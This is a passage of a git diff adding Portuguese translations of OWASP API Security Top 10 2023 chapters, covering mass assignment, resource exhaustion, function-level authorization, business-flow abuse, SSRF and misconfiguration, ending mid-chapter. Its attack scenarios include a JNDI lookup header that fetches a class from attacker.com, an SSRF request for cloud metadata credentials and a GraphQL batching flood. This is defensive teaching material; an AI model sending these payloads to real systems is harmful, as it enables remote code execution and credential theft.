"operationName":"reportUser", + "variables":{ + "userId": 313, + "reason":["offensive behavior"] + }, + "query":"mutation reportUser($userId: ID!, $reason: String!) { + reportUser(userId: $userId, reason: $reason) { + status + message + reportedUser { + id + fullName + recentLocation + } + } + }" +} +``` + +O endpoint da API é vulnerável porque permite que o utilizador autenticado tenha +acesso a propriedades sensíveis do utilizador denunciado, como "fullName" (nome +completo) e "recentLocation" (localização recente), que não deveriam estar +acessíveis a outros utilizadores. + +### Cenário #2 + +Uma plataforma de mercado online, que permite a um tipo de utilizadores +('anfitriões') alugar o seu apartamento a outro tipo de utilizadores +('hóspedes'), requer que o anfitrião aceite uma reserva feita por um hóspede +antes de cobrar ao hóspede pela estadia. + +Como parte deste processo, é feito um pedido de API pelo anfitrião para +`POST /api/host/approve_booking` com o seguinte conteúdo legítimo: + +``` +{ + "approved": true, + "comment": "Check-in is after 3pm" +} +``` + +O anfitrião reenvia o pedido legítimo e adiciona o seguinte conteúdo malicioso: + +``` +{ + "approved": true, + "comment": "Check-in is after 3pm", + "total_stay_price": "$1,000,000" +} +``` + +O _endpoint_ da API é vulnerável porque não há validação de que o anfitrião +deve ter acesso à propriedade interna do objeto - `total_stay_price`, e o +hóspede vai ser cobrado mais do que deveria. + +### Cenário #3 + +Uma rede social baseada em vídeos curtos, impõe filtros restritivos de conteúdo +e censura. Mesmo que um vídeo carregado seja bloqueado, o utilizador pode +alterar a descrição do vídeo utilizando o seguinte pedido à API: + +``` +PUT /api/video/update_video + +{ + "description": "a funny video about cats" +} +``` + +Um utilizador frustrado pode reenviar o pedido legítimo e adicionar o seguinte +conteúdo malicioso: + +``` +{ + "description": "a funny video about cats", + "blocked": false +} +``` + +O _endpoint_ da API é vulnerável porque não há validação se o utilizador deve +ter acesso à propriedade interna do objeto - `blocked`, e o utilizador pode +alterar o valor de `true` para `false` e desbloquear o seu próprio conteúdo +bloqueado. + +## Como Prevenir + +* Ao expor um objeto através de um _endpoint_ da API, certifique-se sempre de + que o utilizador deve ter acesso às propriedades do objeto que expõe. +* Evite usar métodos genéricos como `to_json()` e `to_string()`. Em vez disso, + selecione especificamente as propriedades do objeto que deseja retornar. +* Se possível, evite usar funções que automaticamente vinculem os dados + provenientes do cliente em variáveis de código, objetos internos ou + propriedades de objetos ("Mass Assignment"). +* Permita alterações apenas nas propriedades do objeto que devam ser + atualizadas pelo cliente. +* Implemente um mecanismo de validação de resposta baseado num esquema como uma + camada extra de segurança. Como parte deste mecanismo, defina e imponha que + dados são retornados por todos os métodos da API. +* Mantenha as estruturas de dados retornadas ao mínimo essencial, de acordo com + os requisitos comerciais/funcionais para o _endpoint_. + +## Referências + +### OWASP + +* [API3:2019 Excessive Data Exposure - OWASP API Security Top 10 2019][1] +* [API6:2019 - Mass Assignment - OWASP API Security Top 10 2019][2] +* [Mass Assignment Cheat Sheet][3] + +### Externas + +* [CWE-213: Exposure of Sensitive Information Due to Incompatible Policies][4] +* [CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes][5] + +[1]: https://owasp.org/API-Security/editions/2019/en/0xa3-excessive-data-exposure/ +[2]: https://owasp.org/API-Security/editions/2019/en/0xa6-mass-assignment/ +[3]: https://cheatsheetseries.owasp.org/cheatsheets/Mass_Assignment_Cheat_Sheet.html +[4]: https://cwe.mitre.org/data/definitions/213.html +[5]: https://cwe.mitre.org/data/definitions/915.html diff --git a/editions/2023/pt-pt/0xa4-unrestricted-resource-consumption.md b/editions/2023/pt-pt/0xa4-unrestricted-resource-consumption.md new file mode 100644 index 000000000..1d9f4e933 --- /dev/null +++ b/editions/2023/pt-pt/0xa4-unrestricted-resource-consumption.md @@ -0,0 +1,177 @@ +# API4:2023 Unrestricted Resource Consumption + +| Agentes Ameaça/Vetores Ataque | Falha Segurança | Impactos | +| - | - | - | +| Específico da API : Abuso **Moderado** | Prevalência **Predominante** : Deteção **Fácil** | Técnico **Grave** : Específico Negócio | +| A exploração requer pedidos simples de API. Múltiplos pedidos concorrentes podem ser feitos a partir de um único computador local ou utilizando recursos de computação em nuvem. A maioria das ferramentas automatizadas disponíveis são projetadas para causar DoS (Negação de Serviço) através de altas cargas de tráfego, afetando a taxa de serviço das APIs. | É comum encontrar APIs que não limitam as interações do cliente ou o consumo de recursos. Pedidos de API elaborados, como aqueles que incluem parâmetros que controlam o número de recursos a serem retornados e realizam análises de estado/tempo/comprimento de resposta, devem permitir a identificação do problema. O mesmo vale para operações em quantidade. Embora os agentes maliciosos não tenham visibilidade sobre o impacto nos custos, isso pode ser inferido com base no modelo de negócios/preços dos fornecedores de serviços (e.g. fornecedor de nuvem). | A exploração pode levar a uma Negação de Serviço (DoS) devido à escassez de recursos, mas também pode resultar num aumento dos custos operacionais, como os relacionados à infraestrutura devido à maior exigência de CPU, aumento das necessidades de armazenamento em nuvem, etc. | + +## A API é vulnerável? + +Para atender aos pedidos feitos à API, são necessários recursos como largura de +banda de rede, CPU, memória e armazenamento. Às vezes, os recursos necessários +são disponibilizados por provedores de serviços por meio de integrações de API +e são pagos por pedido, como o envio de emails/SMS/chamadas telefónicas, +validação biométrica, etc. + +Uma API é vulnerável se pelo menos um dos seguintes limites estiver ausente ou +definido inadequadamente (e.g. muito baixo/alto): + +* Tempos limite de execução +* Memória máxima alocável +* Número máximo de descritores de ficheiro +* Número máximo de processos +* Tamanho máximo de upload de ficheiro +* Número de operações a serem realizadas num único pedido do cliente da API + (e.g. agrupamento GraphQL) +* Número de registros por página a serem retornados num único pedido-resposta +* Limite de gastos de provedores de serviços terceiros + +## Exemplos de Cenários de Ataque + +### Cenário #1 + +Uma rede social implementou um mecanismo de "recuperar senha" através da +verificação por SMS, permitindo que o utilizador receba um _token_ de uso único +via SMS para redefinir a sua senha. + +Uma vez que o utilizador clica em "recuperar senha", é feita uma chamada API a +partir do navegador do utilizador para a API de _back-end_: + +``` +POST /initiate_forgot_password + +{ + "step": 1, + "user_number": "6501113434" +} +``` + +Em seguida, nos bastidores, é feita uma chamada API do _back-end_ para uma API +de terceiros que se encarrega da entrega do SMS: + +``` +POST /sms/send_reset_pass_code + +Host: willyo.net + +{ + "phone_number": "6501113434" +} +``` + +O fornecedor de terceiros, Willyo, cobra $0.05 por este tipo de chamada. + +Um atacante escreve código que envia a primeira chamada API dezenas de milhares +de vezes. O _back-end_ prossegue e solicita à Willyo que envie dezenas de +milhares de mensagens de texto, levando a empresa a perder milhares de dólares +em questão de minutos. + +### Cenário #2 + +Um _endpoint_ de API GraphQL permite que o utilizador carregue uma foto de +perfil. + +``` +POST /graphql + +{ + "query": "mutation { + uploadPic(name: \"pic1\", base64_pic: \"R0FOIEFOR0xJVA…\") { + url + } + }" +} +``` + +Uma vez concluído o carregamento, a API gera múltiplas miniaturas com diferentes +tamanhos com base na imagem carregada. Esta operação gráfica consome muita +memória do servidor. + +A API implementa uma proteção tradicional de limitação de quantidade de pedidos +- um utilizador não pode aceder ao _endpoint_ GraphQL demasiadas vezes num curto +período de tempo. A API também verifica o tamanho da imagem carregada antes de +gerar as miniaturas para evitar o processamento de imagens demasiado grandes. + +Um atacante pode facilmente contornar esses mecanismos, aproveitando a natureza +flexível do GraphQL: + +``` +POST /graphql + +[ + {"query": "mutation {uploadPic(name: \"pic1\", base64_pic: \"R0FOIEFOR0xJVA…\") {url}}"}, + {"query": "mutation {uploadPic(name: \"pic2\", base64_pic: \"R0FOIEFOR0xJVA…\") {url}}"}, + ... + {"query": "mutation {uploadPic(name: \"pic999\", base64_pic: \"R0FOIEFOR0xJVA…\") {url}}"}, +} +``` + +Como a API não limita o número de vezes que a operação `uploadPic` pode ser +tentada, a chamada levará ao esgotamento da memória do servidor e à negação de +serviço (_Denial of Service_). + +### Cenário #3 + +Um prestador de serviços permite que os clientes descarreguem ficheiros +arbitrariamente grandes através da sua API. Estes ficheiros são mantidos em +armazenamento de objetos na nuvem e não mudam com frequência. O prestador de +serviços depende de um serviço de _cache_ para melhorar a velocidade do serviço +e manter o consumo de largura de banda baixo. O serviço de _cache_ apenas +armazena ficheiros até 15GB. + +Quando um dos ficheiros é atualizado, o seu tamanho aumenta para 18GB. Todos os +clientes do serviço começam imediatamente a descarregar a nova versão. Como não +havia alertas de custo de consumo, nem um limite máximo de custo para o serviço +de nuvem, a fatura mensal seguinte aumenta de 13 dólares, em média, para 8 mil +dólares. + +## Como Prevenir + +* Utilize uma solução que facilite a limitação de [memória][1], [CPU][2], + [número de reinícios][3], [descritores de ficheiros e processos][4], como + Containers / Código Serverless (e.g. Lambdas). +* Defina e force um tamanho máximo de dados em todos os parâmetros e conteúdos + de entrada, como comprimento máximo para _strings_, número máximo de + elementos em arrays e tamanho máximo de ficheiro para _upload_ + (independentemente de ser armazenado localmente ou na nuvem). +* Implemente um limite de frequência com que um cliente pode interagir com a API + dentro de um período temporal definido (_rate limiting_). +* A limitação de pedidos deve ser ajustada com base nas necessidades do negócio. + Alguns endpoints da API podem exigir políticas mais rigorosas. +* Limite/controle quantas vezes ou com que frequência um único + cliente/utilizador da API pode executar uma única operação (e.g. validar um + OTP ou solicitar a recuperação de senha sem visitar o URL de uso único). +* Adicione validação adequada no lado do servidor para parâmetros da + _query string_ e do corpo do pedido, especificamente aqueles que controlam o + número de resultados a serem retornados na resposta. +* Configure limites de gastos para todos os fornecedores de serviços/integrações + de API. Quando não for possível definir limites de gastos, devem ser + configurados alertas de faturamento. + +## Referências + +### OWASP + +* ["Availability" - Web Service Security Cheat Sheet][5] +* ["DoS Prevention" - GraphQL Cheat Sheet][6] +* ["Mitigating Batching Attacks" - GraphQL Cheat Sheet][7] + +### Externas + +* [CWE-770: Allocation of Resources Without Limits or Throttling][8] +* [CWE-400: Uncontrolled Resource Consumption][9] +* [CWE-799: Improper Control of Interaction Frequency][10] +* "Rate Limiting (Throttling)" - [Security Strategies for Microservices-based + Application Systems][11], NIST + +[1]: https://docs.docker.com/config/containers/resource_constraints/#memory +[2]: https://docs.docker.com/config/containers/resource_constraints/#cpu +[3]: https://docs.docker.com/engine/reference/commandline/run/#restart +[4]: https://docs.docker.com/engine/reference/commandline/run/#ulimit +[5]: https://cheatsheetseries.owasp.org/cheatsheets/Web_Service_Security_Cheat_Sheet.html#availability +[6]: https://cheatsheetseries.owasp.org/cheatsheets/GraphQL_Cheat_Sheet.html#dos-prevention +[7]: https://cheatsheetseries.owasp.org/cheatsheets/GraphQL_Cheat_Sheet.html#mitigating-batching-attacks +[8]: https://cwe.mitre.org/data/definitions/770.html +[9]: https://cwe.mitre.org/data/definitions/400.html +[10]: https://cwe.mitre.org/data/definitions/799.html +[11]: https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-204.pdf diff --git a/editions/2023/pt-pt/0xa5-broken-function-level-authorization.md b/editions/2023/pt-pt/0xa5-broken-function-level-authorization.md new file mode 100644 index 000000000..91039d83f --- /dev/null +++ b/editions/2023/pt-pt/0xa5-broken-function-level-authorization.md @@ -0,0 +1,103 @@ +# API5:2023 Broken Function Level Authorization + +| Agentes Ameaça/Vetores Ataque | Falha Segurança | Impactos | +| - | - | - | +| Específico da API : Abuso **Fácil** | Prevalência **Comum** : Deteção **Fácil** | Técnico **Grave** : Específico Negócio | +| Para abusar deste tipo de falha o atacante tem de realizar pedidos legítimos ao _endpoint_ da API ao qual não é suposto ter acesso como utilizadores anónimos, ordinários ou não privilegiados. _Endpoints_ expostos serão facilmente explorados. | As verificações de autorização para aceder a uma determinada função ou recurso são normalmente geridas por configuração ou ao nível da implementação. A correta implementação destes mecanismos pode tornar-se confusa, uma vez que, as aplicações modernas prevêem vários perfis ou grupos de utilizador, assim como complexos esquemas de hierarquias (e.g. sub-utilizadores, utilizadores com mais do que um perfil). É mais fácil descobrir estas falhas em APIs dado que APIs são mais estruturadas, e aceder a diferentes funções é mais previsível. | Estas falhas permitem aos atacantes aceder de forma não autorizada a certas funcionalidades. As funcionalidades administrativas são o alvo preferencial neste tipo de ataqueo que pode levar a divulgação de dados, perda de dados, ou corrupção de dados. Por último, pode dar aso a uma disrupção de serviço. | + +## A API é vulnerável? + +A melhor forma de identificar falhas de verificação de autorização de acesso a +funções é através duma análise detalhada do mecanismo de autorização, devendo +ter-se em consideração o esquema de hierarquia de utilizadores, diferentes +perfis ou grupos e questionando continuamente: + +* Utilizadores ordinários podem aceder aos _endpoints_ de administração? +* Os utilizadores podem realizar ações sensíveis (e.g. criar, modificar ou + apagar) para as quais não deveriam ter acesso, alterando simplesmente o método + HTTP (e.g. alterando de `GET` para `DELETE`)? +* Um utilizador do grupo X pode aceder a uma função reservada ao grupo Y, + adivinhando o URL do _endpoint_ e os parâmetros (e.g. + `/api/v1/users/export_all`)? + +Nunca assuma o tipo dum _endpoint_, normal ou administrativo, apenas com base no +URL. + +Apesar dos programadores poderem ter decidido expor a maioria dos _endpoints_ +administrativos sob um mesmo prefixo, e.g. `api/admins`, é comum encontrarem-se +_endpoints_ administrativos sob outros prefixos, misturados com _endpoints_ +ordinários e.g. `api/users`. + +## Exemplos de Cenários de Ataque + +### Cenário #1 + +Durante o processo de registo para uma aplicação que permite apenas a adesão +de utilizadores convidados, a aplicação móvel faz uma chamada de API para +`GET /api/invites/{invite_guid}`. A resposta contém um JSON com detalhes sobre +o convite, incluindo o perfil do utilizador e o email do utilizador. + +Um atacante duplica o pedido e manipula o método HTTP e o _endpoint_ para +`POST /api/invites/new`. Este _endpoint_ deveria ser usado apenas por +administradores através da consola de administração. O _endpoint_ não implementa +verificações de autorização de acesso à função. + +O atacante explora a falha e envia um novo convite com privilégios de +administrador: + +``` +POST /api/invites/new + +{ + "email": "attacker@somehost.com", + "role":"admin" +} +``` + +Mais tarde, o atacante usa o convite criado maliciosamente para criar uma conta +de administrador e obter acesso total ao sistema. + +### Cenário #2 + +Uma API contém um _endpoint_ que deveria ser exposto apenas a administradores - +`GET /api/admin/v1/users/all`. Este _endpoint_ retorna os detalhes de todos os +utilizadores da aplicação e não implementa verificações de autorização de acesso +à função. Um atacante que aprendeu sobre a estrutura da API faz uma suposição +informada e consegue aceder a este _endpoint_, expondo detalhes sensíveis dos +utilizadores da aplicação. + +## Como Prevenir + +A sua API deve usar um módulo de autorização consistente e fácil de analisar, o +qual deve ser invocado por todas as funções de negócio. Frequentemente, este +tipo de proteção é oferecido por um ou mais componentes externos à lógica +aplicacional. + +* Por omissão todos os acesso devem ser negados, exigindo que permissões + específicas sejam concedidas a perfis específicos para acesso a cada função. +* Rever todos os _endpoints_ à procura de falhas ao nível da verificação de + autorização de acesso a funções, tendo sempre em consideração a lógica de + negócio da aplicação e hierarquia dos grupos. +* Assegurar que todos os controladores administrativos herdam de um controlador + administrativo base que implementa as verificações de autorização com base no + grupo/perfil do utilizador. +* Assegurar que funções administrativas num controlador ordinário implementam + elas próprias as verificações de autorização baseadas no grupo e perfil do + utilizador. + +## Referências + +### OWASP + +* [Forced Browsing][1] +* "A7: Missing Function Level Access Control", [OWASP Top 10 2013][2] +* [Access Control][3] + +### Externas + +* [CWE-285: Improper Authorization][4] + +[1]: https://owasp.org/www-community/attacks/Forced_browsing +[2]: https://github.com/OWASP/Top10/raw/master/2013/OWASP%20Top%2010%20-%202013.pdf +[3]: https://owasp.org/www-community/Access_Control +[4]: https://cwe.mitre.org/data/definitions/285.html diff --git a/editions/2023/pt-pt/0xa6-unrestricted-access-to-sensitive-business-flows.md b/editions/2023/pt-pt/0xa6-unrestricted-access-to-sensitive-business-flows.md new file mode 100644 index 000000000..e20a5553c --- /dev/null +++ b/editions/2023/pt-pt/0xa6-unrestricted-access-to-sensitive-business-flows.md @@ -0,0 +1,113 @@ +# API6:2023 Unrestricted Access to Sensitive Business Flows + +| Agentes Ameaça/Vetores Ataque | Falha Segurança | Impactos | +| - | - | - | +| Específico da API : Abuso **Fácil** | Prevalência **Predominante** : Deteção **Moderado** | Técnico **Moderado** : Específico Negócio | +| A exploração geralmente envolve entender o modelo de negócio suportado pela API, encontrar fluxos de negócio sensíveis e automatizar o acesso a esses fluxos, causando danos ao negócio. | A falta de uma visão holística da API para suportar plenamente os requisitos de negócio tende a contribuir para a prevalência deste problema. Os atacantes identificam manualmente quais recursos (e.g. _endpoints_) estão envolvidos no fluxo de trabalho alvo e como funcionam em conjunto. Se já existirem mecanismos de mitigação, os atacantes precisam encontrar uma maneira de os contornar. | Em geral, não se espera um impacto técnico significativo. A exploração pode prejudicar o negócio de diferentes maneiras, por exemplo: impedir que utilizadores legítimos comprem um produto ou levar a uma inflação na economia interna de um jogo. | + +## A API é vulnerável? + +Ao criar um _endpoint_ de API, é importante entender qual fluxo de negócio ele +expõe. Alguns fluxos de negócio são mais sensíveis do que outros, no sentido de +que o acesso excessivo a eles pode prejudicar o negócio. + +Exemplos comuns de fluxos de negócios sensíveis e o risco de acesso excessivo +associado a eles: + +* Fluxo de compra de um produto - um atacante pode comprar todo o stock de um + item de alta procura de uma só vez e revendê-lo por um preço mais alto + (scalping). +* Fluxo de criação de comentário/publicação - um atacante pode inundar o sistema + com spam. +* Realização de uma reserva - um atacante pode reservar todos os horários +* disponíveis e impedir que outros utilizadores utilizem o sistema. + +O risco de acesso excessivo pode variar entre indústrias e empresas. Por +exemplo, a criação de publicações através de um script pode ser considerada um +risco de spam por uma rede social, mas incentivada por outra rede social. + +Um endpoint de API está vulnerável se expõe um fluxo de negócio sensível sem +restringir adequadamente o acesso a ele. + +## Exemplos de Cenários de Ataque + +### Cenário #1 + +Uma empresa de tecnologia anuncia que vai lançar uma nova consola de jogos no +Dia de Ação de Graças. O produto tem uma procura muito alta e o stock é +limitado. Um atacante escreve código para comprar automaticamente o novo produto +e concluir a transação. + +No dia do lançamento, o atacante executa o código distribuído por diferentes +endereços IP e localizações. A API não implementa a proteção adequada e permite +que o atacante compre a maior parte do stock antes de outros utilizadores +legítimos. + +Mais tarde, o atacante vende o produto noutra plataforma por um preço muito mais +alto. + +### Cenário #2 + +Uma companhia aérea oferece a compra de bilhetes online sem taxa de +cancelamento. Um utilizador com intenções maliciosas reserva 90% dos assentos de +um voo desejado. + +Alguns dias antes do voo, o utilizador malicioso cancelou todos os bilhetes de +uma vez, o que obrigou a companhia aérea a baixar os preços dos bilhetes para +preencher o voo. + +Deste modo, o utilizador consegue comprar um bilhete que está muito mais barato +do que o original. + +### Cenário #3 + +Uma aplicação de partilha de boleias oferece um programa de referência - os +utilizadores podem convidar os seus amigos e ganhar crédito por cada amigo que +se juntar à aplicação. Este crédito pode ser posteriormente utilizado como +dinheiro para reservar viagens. + +Um atacante explora este fluxo escrevendo um script para automatizar o processo +de registo, com cada novo utilizador a adicionar crédito à carteira do atacante. + +O atacante pode posteriormente usufruir de viagens gratuitas ou vender as contas +com créditos excessivos por dinheiro. + +## Como Prevenir + +O planeamento da mitigação deve ser feito em duas camadas: + +* Negócio - identificar os fluxos de negócio que podem prejudicar a empresa se + forem utilizados em excesso. +* Engenharia - escolher os mecanismos de proteção adequados para mitigar o risco + empresarial. + + Alguns dos mecanismos de proteção são mais simples, enquanto outros são mais + difíceis de implementar. Os seguintes métodos são utilizados para desacelerar + ameaças automatizadas: + + * _Fingerprinting_ de dispositivos: negar serviço a dispositivos de cliente + inesperados (e.g. navegadores _headless_) tende a fazer com que os atacantes + usem soluções mais sofisticadas, tornando-as mais caras para eles. + * Deteção humana: utilize _captcha_ ou soluções biométricas mais avançadas + (e.g. padrões de digitação). + * Padrões não humanos: analisar o fluxo do utilizador para detetar padrões + não humanos (e.g. o utilizador acedeu às funções "adicionar ao carrinho" e + "finalizar compra" em menos de um segundo). + * Considere bloquear endereços IP de nós de saída da rede Tor e proxies bem + conhecidos. + + Proteja e limite o acesso às APIs que são consumidas diretamente por máquinas + (como APIs para desenvolvedores e B2B). Elas tendem a ser um alvo fácil para + atacantes, pois muitas vezes não implementam todos os mecanismos de proteção + necessários. + +## Referências + +### OWASP + +* [OWASP Automated Threats to Web Applications][1] +* [API10:2019 Insufficient Logging & Monitoring][2] + +[1]: https://owasp.org/www-project-automated-threats-to-web-applications/ +[2]: https://owasp.org/API-Security/editions/2019/en/0xaa-insufficient-logging-monitoring/ + diff --git a/editions/2023/pt-pt/0xa7-server-side-request-forgery.md b/editions/2023/pt-pt/0xa7-server-side-request-forgery.md new file mode 100644 index 000000000..ea8d7ffac --- /dev/null +++ b/editions/2023/pt-pt/0xa7-server-side-request-forgery.md @@ -0,0 +1,164 @@ +# API7:2023 Server Side Request Forgery + +| Agentes Ameaça/Vetores Ataque | Falha Segurança | Impactos | +| - | - | - | +| Específico da API : Abuso **Fácil** | Prevalência **Comum** : Detectability **Fácil** | Técnico **Moderado** : Específico do Negócio | +| A exploração requer que o atacante encontre um _endpoint_ da API que aceda a um URI fornecido pelo cliente. Em geral, SSRF básico (quando a resposta é retornada ao atacante) é mais fácil de explorar do que _Blind_ SSRF, em que o atacante não tem feedback sobre se o ataque foi bem sucedido ou não. | Os conceitos modernos no desenvolvimento de aplicações incentivam os desenvolvedores a aceder a URIs fornecidos pelo cliente. A falta de validação ou a validação inadequada desses URIs são problemas comuns. Será necessária a análise regular de solicitações e respostas da API para detetar o problema. Quando a resposta não é retornada (_Blind_ SSRF), a deteção da vulnerabilidade exige mais esforço e criatividade. | A exploração bem sucedida pode levar à enumeração de serviços internos (e.g. scan de portas), divulgação de informações, bypass de firewalls ou outros mecanismos de segurança. Em alguns casos, pode levar a DoS ou ao uso do servidor como um proxy para ocultar atividades maliciosas. | + +## A API é vulnerável? + +Falhas de Server-Side Request Forgery (SSRF) ocorrem quando uma API pede um +recurso remoto sem validar o URL fornecido pelo utilizador. Isso permite que um +atacante force a aplicação a enviar um pedido manipulado para um destino +inesperado, mesmo quando protegido por uma firewall ou uma VPN. + +Os conceitos modernos no desenvolvimento de aplicações tornam o SSRF mais comum +e mais perigoso. + +Mais comum - os seguintes conceitos incentivam os desenvolvedores a aceder a +recursos externos com base em entradas de utilizadores: Webhooks, download de +ficheiros a partir de URLs, SSO personalizado e pré-visualização de URLs. + +Mais perigoso - Tecnologias modernas como provedores de nuvem, Kubernetes e +Docker expõem canais de gestão e controle via HTTP em caminhos previsíveis e +bem conhecidos. Esses canais são um alvo fácil para um ataque SSRF. + +Também é mais desafiador limitar o tráfego de saída da sua aplicação, devido à +natureza conectada das aplicações modernas. + +O risco de SSRF nem sempre pode ser completamente eliminado. Ao escolher um +mecanismo de proteção, é importante considerar os riscos e necessidades do +negócio. + +## Exemplos de Cenários de Ataque + +### Cenário #1 + +Uma rede social permite que os utilizadores façam o upload de fotos de perfil. +O utilizador pode escolher entre carregar o ficheiro de imagem do seu +dispositivo ou fornecer o URL da imagem. Escolher a segunda opção irá acionar a +seguinte chamada API: + +``` +POST /api/profile/upload_picture + +{ + "picture_url": "http://example.com/profile_pic.jpg" +} +``` + +Um atacante pode enviar um URL malicioso e iniciar um _scan_ de portas +dentro da rede interna usando o _endpoint_ da API. + +``` +{ + "picture_url": "localhost:8080" +} +``` + +Com base no tempo de resposta, o atacante pode descobrir se a porta está +aberta ou não. + +### Cenário #2 + +Um produto de segurança gera eventos quando detecta anomalias na rede. +Algumas equipas preferem rever os eventos num sistema de monitorização mais +amplo e genérico, como um SIEM (Gestão de Informações e Eventos de Segurança). +Para este fim, o produto fornece integração com outros sistemas usando +_webhooks_. + +Como parte da criação de um novo _webhook_, uma mutação GraphQL é enviada com o +URL da API do SIEM. + +``` +POST /graphql + +[ + { + "variables": {}, + "query": "mutation { + createNotificationChannel(input: { + channelName: \"ch_piney\", + notificationChannelConfig: { + customWebhookChannelConfigs: [ + { + url: \"http://www.siem-system.com/create_new_event\", + send_test_req: true + } + ] + } + }){ + channelId + } + }" + } +] + +``` + +Durante o processo de criação, o _back-end_ da API envia um pedido de teste para o +URL do webhook fornecido e apresenta a resposta ao utilizador. + +Um atacante pode explorar este fluxo e fazer com que a API solicite um recurso +sensível, como um serviço de metadados de nuvem interna que expõe credenciais: + +``` +POST /graphql + +[ + { + "variables": {}, + "query": "mutation { + createNotificationChannel(input: { + channelName: \"ch_piney\", + notificationChannelConfig: { + customWebhookChannelConfigs: [ + { + url: \"http://169.254.169.254/latest/meta-data/iam/security-credentials/ec2-default-ssm\", + send_test_req: true + } + ] + } + }) { + channelId + } + } + } +] +``` + +Uma vez que a aplicação mostra a resposta do pedido de teste, o atacante pode +visualizar as credenciais do ambiente de nuvem. + +## Como Prevenir + +* Isole o mecanismo de obtenção de recursos na sua rede: geralmente, essas + funcionalidades são destinadas a recuperar recursos remotos e não internos. +* Sempre que possível, utilize listas de permissões de: + * Origens remotas das quais se espera que os utilizadores façam download de + recursos (por exemplo, Google Drive, Gravatar, etc.) + * Esquemas de URL e portas + * Tipos de media aceites para uma determinada funcionalidade +* Desative redirecionamentos HTTP. +* Utilize um URL _parser_ bem testado e mantido para evitar problemas causados +por inconsistências no processamento de URLs. +* Valide e sanitize todos os dados de entrada fornecidos pelo cliente. +* Não envie respostas não tratadas aos clientes. + +## Referências + +### OWASP + +* [Server Side Request Forgery][1] +* [Server-Side Request Forgery Prevention Cheat Sheet][2] + +### Externas + +* [CWE-918: Server-Side Request Forgery (SSRF)][3] +* [URL confusion vulnerabilities in the wild: Exploring parser inconsistencies, + Snyk][4] + +[1]: https://owasp.org/www-community/attacks/Server_Side_Request_Forgery +[2]: https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html +[3]: https://cwe.mitre.org/data/definitions/918.html +[4]: https://snyk.io/blog/url-confusion-vulnerabilities/ diff --git a/editions/2023/pt-pt/0xa8-security-misconfiguration.md b/editions/2023/pt-pt/0xa8-security-misconfiguration.md new file mode 100644 index 000000000..c1a7a3bee --- /dev/null +++ b/editions/2023/pt-pt/0xa8-security-misconfiguration.md @@ -0,0 +1,139 @@ +# API8:2023 Security Misconfiguration + +| Agentes Ameaça/Vetores Ataque | Falha Segurança | Impactos | +| - | - | - | +| Específico da API : Abuso **Fácil** | Prevalência **Predominante** : Detectability **Fácil** | Técnico **Severo** : Específico do Negócio | +| Os atacantes frequentemente tentam encontrar falhas não corrigidas, _endpoints_ comuns, serviços a funcionar com configurações padrão inseguras ou arquivos e diretórios não protegidos para obter acesso não autorizado ou conhecimento do sistema. A maior parte disto é conhecimento público e os _exploits_ podem estar disponíveis. | A má configuração de segurança pode ocorrer em qualquer nível da API, desde o nível da rede até o nível da aplicação. Ferramentas automatizadas estão disponíveis para detectar e explorar más configurações, como serviços desnecessários ou opções antigas. | As más configurações de segurança não expõem apenas dados sensíveis dos utilizadores, mas também detalhes do sistema que podem levar a um compromisso total do servidor. | + +## A API é vulnerável? + +A API pode ser vulnerável se: + +* As devidas proteções de segurança não foram aplicadas em qualquer parte da + API, ou se houver permissões mal configuradas em serviços de nuvem. +* Os últimos _patches_ de segurança estão em falta ou os sistemas estão + desatualizados. +* Funcionalidades desnecessárias estão ativadas (por exemplo, verbos HTTP, + funcionalidades de registo de eventos). +* Existem discrepâncias na forma como os pedidos são processados pelos + servidores na cadeia de servidores HTTP. +* A Segurança da Camada de Transporte (TLS) está em falta. +* Diretivas de segurança ou de controlo de cache não são enviadas aos clientes. +* Uma política de Partilha de Recursos entre Origens (CORS) está em falta ou mal + configurada. +* As mensagens de erro incluem _stack traces_ ou expõem outras informações + sensíveis. + +## Exemplos de Cenários de Ataque + +### Cenário #1 + +Um servidor de API _back-end_ mantém um registo de acesso escrito por uma +utilidade de registo _open-source_ popular de terceiros, com suporte para +expansão de espaços reservados e pesquisas JNDI (Java Naming and Directory +Interface), ambos ativados por defeito. Para cada pedido, uma nova entrada é +escrita no ficheiro de registo com o seguinte padrão: +` / - `. + +Um ator malicioso emite o seguinte pedido de API, que é escrito no ficheiro de +registo de acesso: + +``` +GET /health +X-Api-Version: ${jndi:ldap://attacker.com/Malicious.class} +``` + +Devido à configuração padrão insegura da utilidade de registo e a uma política +de rede de saída permissiva, para escrever a entrada correspondente no registo +de acesso, ao expandir o valor no cabeçalho `X-Api-Version` do pedido, a +utilidade de registo irá buscar e executar o objeto `Malicious.class` do +servidor controlado remotamente pelo atacante. + +### Cenário #2 + +Um site de rede social oferece uma funcionalidade de "Mensagem Direta" que +permite aos utilizadores manter conversas privadas. Para recuperar novas +mensagens de uma conversa específica, o site emite o seguinte pedido de API (a +interação do utilizador não é necessária): + +``` +GET /dm/user_updates.json?conversation_id=1234567&cursor=GRlFp7LCUAAAA +``` + +Como a resposta da API não inclui o cabeçalho de resposta HTTP `Cache-Control`, +as conversas privadas acabam por ser armazenadas em cache pelo navegador, +permitindo que agentes mal-intencionados as recuperem dos ficheiros de cache do +navegador no sistema de ficheiros. + +## Como Prevenir + +O ciclo de vida da API deve incluir: + +* Um processo de proteção reprodutível que possa ser implantado de forma fácil + e rápida com vista a um ambiente de execução devidamente protegido. +* Um processo de revisão e atualização de todas as camadas da API. A revisão + deve incluir: ficheiros de orquestração, componentes da API e serviços na + nuvem (e.g., permissões dos _buckets_ S3). +* Um processo automatizado para verificar de forma continua as configurações e + definições em todos os ambientes (produção, _staging_, testes, + desenvolvimento). + +E ainda: + +* Assegure que todas as comunicações de API, do cliente para o servidor de API e + qualquer componente _downstream_/_upstream_, ocorram através de um canal de + comunicação encriptado (TLS), independentemente de se tratar de uma API + interna ou pública. +* Seja específico sobre quais verbos HTTP cada API pode utilizar: todos os + outros verbos HTTP devem ser desativados (por exemplo, HEAD). +* As APIs que esperam ser acedidas a partir de clientes baseados em navegador + (por exemplo, aplicação web _front-end_) devem, pelo menos: + * implementar uma política adequada de Partilha de Recursos entre Origens + (CORS). + * incluir os Cabeçalhos de Segurança aplicáveis. +* Restrinja os tipos de conteúdo/formatos de dados recebidos àqueles que cumprem + os requisitos funcionais/de negócio. +* Assegure que todos os servidores na cadeia de servidores HTTP (por exemplo, + balanceadores de 